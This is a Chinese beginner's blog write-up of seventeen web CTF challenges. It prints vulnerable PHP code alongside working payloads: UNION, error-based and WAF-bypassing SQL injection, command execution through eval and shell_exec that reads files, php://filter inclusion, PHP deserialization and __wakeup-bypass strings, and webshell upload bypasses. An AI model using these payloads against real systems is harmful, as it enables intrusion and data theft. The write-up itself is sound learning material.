记录第一次ctf比赛

  • 第一关是在根据题目提示是在F12里一开始漫无目的的寻找,回头再看看题的时候发现他有提示:看到这都还没找到,有点蠢……然后便往回找,最终找到,第一道题看来是给出的礼物hhhhhhhh
  • 第二关是题目提示是菜刀,但是习惯用蚁剑的我便开始了我的蚁剑之旅,点开环境大大的写着密码是wllm,我非常不好意思的直接连接,找到了flag第二关结束
  • 第三关的题目提示是基操,给我看的蒙蒙的,点开环境仔细读代码原来是让post传id=wllm然后get传json其中json需要用json格式,代码如下:
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?> 

那么就是打开火狐浏览器?json={"x":"wllm"}然后post方式id=wllmNB

找到flag

  • 第四题的题目问我知道http嘛,那我就要打开我的薄荷了,打开环境后他让我用WLLM的浏览器,这我直接一个抓包然后改掉User-Agent,将WLLM四个大字母放到后面,得意洋洋的放包,结果它告诉我:

这好烦啊,火狐浏览器可以改代理但是没有switchysharp,那我只好再刷新然后在close前加一个

referer: 127.0.0.1

X-Forwarded-For:127.0.0.1

呼!拿到flag了下一题下一题

  • 第五题题目提示是easy的md5,这我要看看到底多一贼,代码如下:
<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>
wrong!

嗬,&&的第一个条件是$name不等于$password,这家伙,我直接get:?name[]=1同时post:password[]=2!!!!拿下拿下!

  • 第六题啦题目是简单的sql注入那我上来一个?id=1'发现不存在sql注入漏洞,不是吧不是吧我又看了一眼题,确定是sql注入啊,百思不得其解的时候我看了网站的标题参数是wllm!!!!把id改为wllm的我直接一套基操
?wllm=1' order by 3%23
?wllm=1' order by 4%23

得到有三个位置

?wllm=0%27%0aUNION%0aSELECT%0a1,GROUP_CONCAT(%27<br>%27,TABLE_NAME),3%0aFROM%0aINFORMATION_SCHEMA.TABLES%0aWHERE%0aTABLE_SCHEMA=DATABASE()%23

查到有两张表

test_tb,
users

行吧那就:

?wllm=0' union select 1,group_concat('<br>',column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23

很伤心,得到了

id,
username,
password

那么flag一定在test_tb里,冲冲冲!!

?wllm=0' union select 1,group_concat('<br>',column_name),3 from information_schema.columns where table_schema=database() and table_name='test_tb'%23

得到

id,
flag

话不多说

?wllm=0' union select 1,flag,3 from test_tb %23

拿到flag我就跑,嘿嘿。

  • 第七题是文件上传啦,小心翼翼试试一句话木马,不行啊!然后再上传一个图片试试,哎!~图片可以!!我记得考核大纲上有mini验证那就改掉content-Type:image/jpeg

上传成功!哎打开我的蚁剑,拿下拿下!

  • 第八题还是文件上传但是是2.0哈哈哈哈哈哈哈

我迫不及待的打开环境然后

不是前端验证
不是mini验证
不是00截断
不是黑名单过滤不全:12345
不是.htaccess绕过
不是黑名单大小写过滤不全
不是空格后缀名绕过
不是.号绕过

这就很恼火哦,我试着上传图片,发现图片和php上传拦截几乎一样,那就是文件后缀的问题,既然php不行,那就上传图片,后缀改成phtml然后在图片的乱码中插入我的一句话

上传成功!!!打开蚁剑,结束结束!

  • 第九题不一样了题目告诉我是简单的rce,这家伙!那我打开环境看看吧,代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

这这这!!!让我远程url函数?那我可不客气了

?url=system(ls);

得到了:

那就:

?url=system("ls%20/");

得到了:

那就:

?url=system("cat /f*");

拿下!!!

  • 第十题是babyrce,代码如下:
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!

嗬!临时凭证!我打开薄荷刷新页面cookie改为admin=1得到:

那我肯定打开 rasalghul.php

得到代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?>
?url=system(ls);

返回了原页面。。。。。。。

?url=system("ls /");

返回了原页面

那我只好 

我再

?url=system("ls$IFS/");

……(此处省略我的坐牢过程)

我试了又试发现不行便看了看网页源代码,发现已经有函数了,那就只好

?url=ls%09/
?url=cat%09/f*

拿下拿下!!

  • 第十一题就有意思了,他问我题在哪,我还想知道呢!不知道怎么办的我打开网页源代码,发现最后注释了个东西,

第一条是:User-agent,即搜索引擎蜘蛛的名称;第二条是:Disallow,即要拦截的部分。

这家伙!这不就是robots.txt嘛。打开robots.txt文件得到:

 

那我就只好继续打开cl45s.php。。。得到代码:

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

那就开始写payload吧

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

拿下!!

另外我记得老师教过这个的poc?

来吧来吧

<?php
class wllm{
    public $admin="admin";
    public $passwd="ctf";
       public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
    
}
$a =new wllm();
echo urlencode(serialize($a));

?>

菜鸟工具php在线运行得到

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

那我就不客气了?

p=O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

拿下拿下

  • 第十二题的题目是include那就是文件包含漏洞了!!他让我传一个file试试,挑衅我??哈哈哈我直接?file=flag.php!切,就给我这个
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中



伪协议伪协议!!冲冲冲

/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到了base64加密后的字符串,解密一下吧!

 拿下!!

<?php
$flag='NSSCTF{21b4b384-bd90-4c7a-81ee-b9adfde20004}';
  • 十三题的题目是error   报错注入啦?!!现学现卖的我学到报错注入就是人为的制造错误条件,是查询结果出现在错误信息中,往往和联合查询一起用报错注入的函数有
报错注入函数之updatexml()
payload:
?id=1' and (updatexml(1,concat(0x7e,(select users()),0x7e),1));%23

其中0x7e是十六进制的一个编码符号,解码为~,也可以写为‘~’。(注意单引号)这个语句中select user()可以替换成任意联合查询的语句

updatexml是一个更新目标这个xml文档的一个函数

1那个位置是写入的目标文档,所以写个1就行,不用真的写目标文档

select user()这个位置是更新路径,后面的1是更新后路径,所以在select user()位置可以修改语句达到查询的目的!总的来说,语法为:

update(目标xml文档,xml路径,更新内容)

后续操作为:

(1)更改select user()位置的sql语句

(2)获取当前库中的表

?id=1' and (updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),1))%23

获取当前库中的第一张表,后面只需要慢慢更改limit的位置即可

(3)获取某表字段修改select user()位置,方法和联合查询一样。

报错注入函数之extractvalue()
payload:
?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))%23

步骤与updatexml()相同

extractvalue()函数负责在xml文档中安装xpath语法查询节点内容的函数与updatexml函数相似,所以这两个函数也称为xpath注入函数

报错注入函数之floor()
payload:
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

主要利用的原理是主键重复,因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存在临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

后续操作是更改user()那个位置的sql语句即可

  • 第十四题又是个文件上传啦!提示我们与某些文件配合!图片木马??好像传上去没法利用了呢!

那就上传.htaccess试试??然后上传带一句话的图片!

蚁剑一下。。。。。成功了

  • 第十五题no_wakeup反序列化了
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

反序列化问题学习中老师教我先看代码!这个是创建对象

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

类型有很多   
a - array  
b - boolean  
d - double  
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

但是要绕过wakeup那么就改为

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

拿下!!!

  • 第十六题是PseudoProtocols,打开后他告诉我找hint.php但是看域名的后缀明明是文件包含的样子啊!!然后我就/index.php?wllm=hint.php啥也没有。这就很恼火了,思路断了啊,打开百度查一查,发现hint.php里面可以调用include函数,那就再来个伪协议!!!
/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php

得到PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=

好了,md5解密吧。得到

<?php
//go to /test2222222222222.php
?>

那就go!go!go!得到代码:
 

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

file_get_contents!!!!这这这!!伪协议嘛!

Get:a=php://input

Post: I want flag

拿下!!

  • 第十七题是sql注入给我显示Want Me? Cross the Waf那我只好用薄荷打开爆破模块查看禁用的字符

 这可真烦人啊!!大小写?!

百度帮我解决困难!%0a可以代替空格!<>是不等于!是非!(table_schema<>xxx)来代替=

或者用like!!

/?wllm=0'%0aUNiON%0aSElECT%0a1,2,(sElEct/**/group_concat(tablE_namE)/**/from/**/infOrmation_schEma.tablEs/**/whErE/**/tablE_schEma/**/likE/**/'tEst_db')%23
/?wllm=0'%0aUNiON%0aSElECT%0a1,2,(sElEct/**/group_concat(column_namE)/**/from/**/infOrmation_schEma.columns/**/whErE/**/tablE_Name/**/likE/**/'LTLT_flag')%23

取到的虽然不是整个flag,但是我们有mid函数哈哈哈哈哈

拿下拿下!!

这是我会做的全部题啦,写的不是很详细,后续会记录我学习这些的过程,来详细的写每一个题啦!当然我还有好多不会做,这些就要靠我进团队之后dalao带着我了,希望团队大佬可以带我向着网络安全更深处进发!!

finalrce

hardrce

pop

babyunser

hardrce_3

没有做出来的题是这些!等我做出来再发下一个文啦!

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值